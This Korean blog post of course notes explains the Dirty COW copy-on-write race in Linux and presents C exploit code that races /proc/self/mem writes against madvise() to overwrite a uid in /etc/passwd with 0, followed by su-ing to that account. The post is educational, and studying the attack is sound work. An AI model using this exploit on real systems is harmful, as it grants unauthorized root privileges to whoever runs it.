다양한 기록

Dirty COW #3 Exploit 본문

운영체제보안

Dirty COW #3 Exploit

라구넹 2024. 12. 6. 22:01

Copy on Write 3 Step

(A) 매핑된 메모리의 카피를 만들기

(B) 페이지 테이블 업데이트 (-> 버추얼 메모리가 피지컬 메모리의 새로운 장소를 가리킴)

(C) 메모리에 쓰기

 

이 위의 세 스텝은 원자적이지 않음

-> 다른 스레드들이 레이스 컨디션을 일으킬 수 있음

madvise()가 (B)와 (C) 사이에 실행..

=> 카피를 만들어뒀더니 쓰기 직전에 원본으로 바꿔치기됨

 

Attack

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <stdio.h>

void *map;

void writeThread(void *arg)
{
    char *content = "username:x:0000";
    off_t offset = (off_t)arg;
    int f = open("/proc/self/mem", O_RDWR);
    
    while(1)
    {
        lseek(f, offset, SEEK_SET);
        write(f, content, strlen(content));
    }
}

void madviseThread(void *arg)
{
    int file_size = (int)arg;
    
    while(1)
    {
        madvise(map, file_size, MADV_DONTNEED);
    }
}

int main(int argc, char *argv[])
{
    pthread_t pth1, pth2;
    struct stat st;
    int file_size;
    
    int f = open("/etc/passwd", O_RDONLY);
    fstat(f, &st);
    file_size = st.st_size;
    map = mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
    
    char *position = strstr(map, "username:x:uid");
    
    pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
    pthread_create(&pth2, NULL, writeThread, position);
    
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
    
    return 0;
}

메모리에서 찾아내서 uid 0으로 덮어씀

* uid가 123이면 000으로 바꿔쓰는 것처럼 자릿수 맞춰서 덮어쓰는게 편함

이후 su 로 유저 바꾸면 됨 (바꾸려는 계정의 비밀번호 요구)

'운영체제보안' 카테고리의 다른 글

Access Control  (0) 2024.12.09
Dirty COW #4 완화법  (0) 2024.12.06
Dirty COW #2 mmap(), madvise()  (0) 2024.12.06
Dirty COW #1 Copy-on-Write  (0) 2024.12.06
ToCTToU (Time of Check-to-Time of Use) Vulnerability  (0) 2024.12.06